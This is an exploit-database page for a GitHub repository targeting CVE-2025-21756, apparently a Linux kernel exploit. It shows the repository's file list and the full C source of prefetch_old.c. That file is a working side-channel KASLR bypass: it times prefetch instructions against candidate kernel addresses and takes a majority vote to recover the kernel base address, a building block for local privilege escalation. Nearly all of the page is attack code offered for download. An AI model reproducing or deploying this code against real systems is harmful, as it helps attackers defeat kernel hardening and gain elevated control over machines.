Exploit databaseDownload repository ZIP
GH-fe45a0a486d27c36aa80e2c232873fd2
khoatran107/cve-2025-21756
Sources for CVE-2025-21756
4 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files35
khoatran107/cve-2025-21756Revision 13a3614dbba0
- backups/
- crashes/
- failures/
- test_unix/
- theori/
- usage/
- .gitignore
- README.md
- compile.sh
- entrybleed.c
- entrybleed.h
- exploit.c
- extract-image.sh
- final.gif
- flag
- local_runner.sh
- local_runner_customized.sh
- packet_send.c
- pipes.c
- prefetch_old.c
- qemu_v3.sh
- qemu_v3_customized.sh
- qemu_v3_customized.sh.bak
- qwerty_entrybleed.h
- run.sh
- run.sh.old
- script.gdb
- tap_device.c
- tcp_send_rcvq.c
- test copy.c
- test.c
- test.c.bak_before_change_vsock
- test_xattr.c
- trigger.c
- trigger2.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
prefetch_old.c
C · 4,688 bytes#define _GNU_SOURCE
#include <stdint.h>
#include <limits.h>
#include <stdlib.h>
#include <stdio.h>
#include <sched.h>
uint64_t kbase = 0;
void pin_cpu(int cpu) {
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) == -1) {
perror("sched_setaffinity");
exit(EXIT_FAILURE);
}
}
inline __attribute__((always_inline)) uint64_t rdtsc_begin() {
uint64_t a, d;
asm volatile ("mfence\n\t"
"RDTSCP\n\t"
"mov %%rdx, %0\n\t"
"mov %%rax, %1\n\t"
"xor %%rax, %%rax\n\t"
"lfence\n\t"
: "=r" (d), "=r" (a)
:
: "%rax", "%rbx", "%rcx", "%rdx");
a = (d<<32) | a;
return a;
}
inline __attribute__((always_inline)) uint64_t rdtsc_end() {
uint64_t a, d;
asm volatile(
"xor %%rax, %%rax\n\t"
"lfence\n\t"
"RDTSCP\n\t"
"mov %%rdx, %0\n\t"
"mov %%rax, %1\n\t"
"mfence\n\t"
: "=r" (d), "=r" (a)
:
: "%rax", "%rbx", "%rcx", "%rdx");
a = (d<<32) | a;
return a;
}
void prefetch(void* p)
{
asm volatile (
"prefetchnta (%0)\n"
"prefetcht2 (%0)\n"
: : "r" (p));
}
size_t flushandreload(void* addr) // row miss
{
size_t time = rdtsc_begin();
prefetch(addr);
size_t delta = rdtsc_end() - time;
return delta;
}
#define ARRAY_LEN(x) (sizeof(x) / sizeof(x[0]))
int bypass_kaslr(uint64_t base) {
if (!base) {
#ifdef KASLR_BYPASS_INTEL
#define OFFSET 0
#define START (0xffffffff81000000ull + OFFSET)
#define END (0xffffffffD0000000ull + OFFSET)
#define STEP 0x0000000001000000ull
while (1) {
uint64_t bases[7] = {0};
for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) {
size_t times[(END - START) / STEP] = {};
uint64_t addrs[(END - START) / STEP];
for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
times[ti] = ~0;
addrs[ti] = START + STEP * (uint64_t)ti;
}
for (int i = 0; i < 16; i++) {
for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
uint64_t addr = addrs[ti];
size_t t = flushandreload((void*)addr);
if (t < times[ti]) {
times[ti] = t;
}
}
}
size_t minv = ~0;
size_t mini = -1;
for (int ti = 0; ti < ARRAY_LEN(times) - 1; ti++) {
if (times[ti] < minv) {
mini = ti;
minv = times[ti];
}
}
if (mini < 0) {
return -1;
}
bases[vote] = addrs[mini];
}
int c = 0;
for (int i = 0; i < ARRAY_LEN(bases); i++) {
if (c == 0) {
base = bases[i];
} else if (base == bases[i]) {
c++;
} else {
c--;
}
}
c = 0;
for (int i = 0; i < ARRAY_LEN(bases); i++) {
if (base == bases[i]) {
c++;
}
}
if (c > ARRAY_LEN(bases) / 2) {
base -= OFFSET;
goto got_base;
}
}
#else
#define START (0xffffffff81000000ull)
#define END (0xffffffffc0000000ull)
#define STEP 0x0000000000200000ull
#define NUM_TRIALS 7
// largest contiguous mapped area at the beginning of _stext
#define WINDOW_SIZE 11
while (1) {
uint64_t bases[NUM_TRIALS] = {0};
for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) {
size_t times[(END - START) / STEP] = {};
uint64_t addrs[(END - START) / STEP];
for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
times[ti] = ~0;
addrs[ti] = START + STEP * (uint64_t)ti;
}
for (int i = 0; i < 16; i++) {
for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
uint64_t addr = addrs[ti];
size_t t = flushandreload((void*)addr);
if (t < times[ti]) {
times[ti] = t;
}
}
}
uint64_t max = 0;
int max_i = 0;
for (int ti = 0; ti < ARRAY_LEN(times) - WINDOW_SIZE; ti++) {
uint64_t sum = 0;
for (int i = 0; i < WINDOW_SIZE; i++) {
sum += times[ti + i];
}
if (sum > max) {
max = sum;
max_i = ti;
}
}
bases[vote] = addrs[max_i];
}
int c = 0;
for (int i = 0; i < ARRAY_LEN(bases); i++) {
if (c == 0) {
base = bases[i];
} else if (base == bases[i]) {
c++;
} else {
c--;
}
}
c = 0;
for (int i = 0; i < ARRAY_LEN(bases); i++) {
if (base == bases[i]) {
c++;
}
}
if (c > ARRAY_LEN(bases) / 2) {
goto got_base;
}
}
#endif
}
got_base:
kbase = base;
return 0;
}
uint64_t find_min(uint64_t arr[], int size) {
if (size <= 0) {
printf("Array size must be greater than 0.\n");
return INT_MAX;
}
uint64_t min = arr[0];
for (int i = 1; i < size; i++) {
if (arr[i] < min) {
min = arr[i];
}
}
return min;
}
#define KASLR 25
int main() {
uint64_t bases[KASLR] = {0,};
pin_cpu(0);
for(int i = 0 ; i < KASLR; i++){
bypass_kaslr(0);
bases[i] = kbase;
}
kbase = find_min(bases, KASLR);
printf("kbase: %p\n", (void*)kbase);
}